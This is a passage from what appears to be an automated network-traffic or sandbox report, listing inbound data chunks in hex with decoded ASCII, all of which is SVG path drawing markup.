2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 Data Ascii: ,0,0,1-.16-2.81"/><path class="cls-4" d="M800,232.94a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M800.26,239.77a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.9
2023-07-27 19:54:08 UTC	3253	IN	Data Raw: 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 35 2c 32 32 39 2e 32 35 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 34 2e 37 33 2c 32 32 31 2e 35 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 Data Ascii: 37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M505,229.25a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M504.73,221.53a1.92,1.92,0,0,1-.87,2.49,2.79,2.79
2023-07-27 19:54:08 UTC	3269	IN	Data Raw: 3d 22 4d 35 32 33 2e 38 31 2c 38 39 2e 35 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 33 2e 35 35 2c 38 31 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e Data Ascii: ="M523.81,89.56a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M523.55,81.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.
2023-07-27 19:54:08 UTC	3285	IN	Data Raw: 2e 36 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 35 37 2e 35 32 2c 31 35 37 2e 39 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 Data Ascii: .66a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M557.52,157.94a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3
2023-07-27 19:54:08 UTC	3301	IN	Data Raw: 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 31 2e 34 39 2c 32 33 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 Data Ascii: 9,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"/><path class="cls-7" d="M591.49,234a1.92,1.92,0,0,1-.87,2.49,2.78,2.78,0,0,1-3.71-1.05,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><pa
2023-07-27 19:54:08 UTC	3317	IN	Data Raw: 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 33 31 2c 39 34 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 30 35 2c 38 36 2e 36 34 Data Ascii: 1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.31,94.36a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.05,86.64
2023-07-27 19:54:08 UTC	3333	IN	Data Raw: 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2e 32 38 2c 31 37 30 2e 34 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2c 31 36 32 2e 37 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c Data Ascii: 6,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644.28,170.46a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644,162.74a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,
2023-07-27 19:54:08 UTC	3349	IN	Data Raw: 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2e 32 35 2c 32 34 36 2e 35 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2c 32 33 38 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 Data Ascii: "/><path class="cls-7" d="M678.25,246.56a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M678,238.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2
2023-07-27 19:54:08 UTC	3365	IN	Data Raw: 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 39 36 2e 38 31 2c 39 39 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e Data Ascii: a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M696.81,99.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.
2023-07-27 19:54:08 UTC	3381	IN	Data Raw: 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 33 30 2e 37 38 2c 31 37 35 2e 32 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M730.78,175.26a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1.05,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"/><path class="
2023-07-27 19:54:08 UTC	3397	IN	Data Raw: 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 37 35 2c 32 35 31 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 34 39 2c 32 34 33 2e 36 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 Data Ascii: 22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.75,251.36a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.49,243.64a1.92,1.92,0,0,1-.87,2.49
2023-07-27 19:54:08 UTC	3413	IN	Data Raw: 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 35 33 2e 34 32 2c 32 35 39 2e 35 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d Data Ascii: .13-1.36,3,3,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M653.42,259.54a2.16,2.16,0,0,1-1.1,2.75,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M
2023-07-27 19:54:08 UTC	3429	IN	Data Raw: 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 38 38 2e 31 35 2c 33 32 30 2e 36 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 Data Ascii: -4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M688.15,320.61a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9"
2023-07-27 19:54:08 UTC	3445	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 32 2e 38 39 2c 33 38 31 2e 36 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 32 33 2c 33 37 33 61 32 2e 31 36 Data Ascii: ,0,0,1,.8-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M722.89,381.68a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,1-4.12-1.35,3,3,0,0,1,.79-3.58,2.81,2.81,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M723,373a2.16
2023-07-27 19:54:08 UTC	3461	IN	Data Raw: 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 36 32 2c 34 34 32 2e 37 36 61 32 2e 31 34 2c 32 2e 31 34 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 35 37 2e 37 2c 34 33 34 2e 30 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c Data Ascii: ,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M757.62,442.76a2.14,2.14,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M757.7,434.08a2.15,2.15,0,0,1-1.09,2.75,
2023-07-27 19:54:08 UTC	3477	IN	Data Raw: 32 2e 36 35 2c 32 2e 36 35 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 2c 32 36 30 2e 37 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 35 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 31 39 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 37 38 35 2e 37 38 2c 32 35 32 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c Data Ascii: 2.65,2.65,0,0,1,0,3.58"/><path class="cls-9" d="M785.7,260.71a2.15,2.15,0,0,1-1.09,2.75,3.15,3.15,0,0,1-4.13-1.35,3,3,0,0,1,.8-3.58,2.81,2.81,0,0,1,3.62.19,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M785.78,252a2.16,2.16,0,0,1-1.1,2.75,3.14,3.14,0,0,
2023-07-27 19:54:08 UTC	3493	IN	Data Raw: 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 34 34 2c 33 32 31 2e 37 38 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 32 30 2e 35 31 2c 33 31 33 2e 31 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 36 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 Data Ascii: ath class="cls-9" d="M820.44,321.78a2.16,2.16,0,0,1-1.1,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.82,2.82,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M820.51,313.1a2.15,2.15,0,0,1-1.09,2.76,3.15,3.15,0,0,1-4.12-1.36,3,3,0,0,1,.7
2023-07-27 19:54:08 UTC	3509	IN	Data Raw: 22 4d 38 35 35 2e 31 37 2c 33 38 32 2e 38 36 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 34 2c 33 2e 31 34 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 38 35 35 2e 32 35 2c 33 37 34 2e 31 38 61 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2d 31 2e 30 39 2c 32 2e 37 35 2c 33 2e 31 36 2c 33 2e 31 36 2c 30 2c 30 2c 31 2d 34 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 33 2c 32 2e 38 33 2c 30 2c Data Ascii: "M855.17,382.86a2.15,2.15,0,0,1-1.09,2.75,3.14,3.14,0,0,1-4.12-1.36,3,3,0,0,1,.79-3.58,2.83,2.83,0,0,1,3.62.2,2.66,2.66,0,0,1,0,3.58"/><path class="cls-9" d="M855.25,374.18a2.15,2.15,0,0,1-1.09,2.75,3.16,3.16,0,0,1-4.13-1.36,3,3,0,0,1,.8-3.58,2.83,2.83,0,
